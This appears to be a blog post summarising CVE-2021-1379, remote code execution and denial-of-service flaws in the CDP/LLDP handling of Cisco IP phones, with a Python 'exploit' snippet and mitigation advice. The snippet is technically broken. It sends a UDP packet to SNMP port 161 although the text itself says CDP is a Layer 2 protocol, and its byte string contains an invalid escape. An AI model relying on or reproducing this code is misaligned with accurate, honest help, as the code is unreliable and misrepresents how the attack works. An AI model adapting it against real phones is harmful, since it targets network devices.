CVE-2021-1379 refers to multiple vulnerabilities in the Cisco Discovery Protocol and Link Layer Discovery Protocol (LLDP) implementations for Cisco IP Phone Series 68xx/78xx/88xx. If exploited, these vulnerabilities could allow an unauthenticated attacker with access to the same broadcast domain (Layer 2 adjacent) as the affected device to execute code remotely or cause a reload of the affected IP phone, resulting in a denial of service (DoS) condition.

In this post, we'll outline the nature of these vulnerabilities, how an attacker could exploit them, and provide links to original references and resources. We'll also include a code snippet to give a clearer idea of their operation.

Vulnerabilities Details
These vulnerabilities (collectively known as CVE-2021-1379) arise due to the absence of essential checks when the IP phone processes a Cisco Discovery Protocol or LLDP packet. If an attacker successfully exploits these vulnerabilities, they can send a malicious Cisco Discovery Protocol or LLDP packet to the targeted IP phone. This could lead to the execution of code on the affected IP phone or cause it to reload unexpectedly, creating a denial of service (DoS) condition.

It is important to note that, since the Cisco Discovery Protocol is a Layer 2 protocol, the attacker needs to be in the same broadcast domain as the affected device (Layer 2 adjacent) to exploit these vulnerabilities.

Code Snippet Example

import socket

# Create a malicious Cisco Discovery Protocol packet
def create_malicious_packet():
    # Replace with actual content of a malicious packet
    packet_data = b'\x01\x00\xc\x20\x00\x03\x00\x14\x00\x02\x00\x14\x00\x04\x11\x00'
    return packet_data

# Send the malicious packet to the targeted IP phone
def exploit(target_ip, target_port):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((target_ip, target_port))
    packet = create_malicious_packet()
    s.send(packet)
    s.close()

# Example usage
if __name__ == "__main__":
    target_ip = "192.168.1.100"  # Replace with the actual IP address of the target
    target_port = 161  # Replace with the actual port number of the target
    exploit(target_ip, target_port)

This code snippet demonstrates a basic example of creating a malicious Cisco Discovery Protocol packet and sending it to the targeted IP phone to exploit the vulnerabilities.

Mitigations and Resources
Cisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities.

- Original Security Advisory from Cisco
- CVE-2021-1379 NVD (National Vulnerability Database) Entry

Conclusion
CVE-2021-1379 refers to critical vulnerabilities in the Cisco IP Phone Series that require urgent attention from administrators and security professionals. These vulnerabilities could enable attackers in the same broadcast domain as the affected device to execute code remotely or cause a denial of service (DoS) condition. In order to remediate these vulnerabilities, it is vital to apply the software updates that Cisco has released. Additionally, keep an eye on security advisories and resources for any developments regarding these vulnerabilities.

Timeline

Published on: 11/18/2024 16:15:09 UTC
Last modified on: 11/18/2024 17:11:17 UTC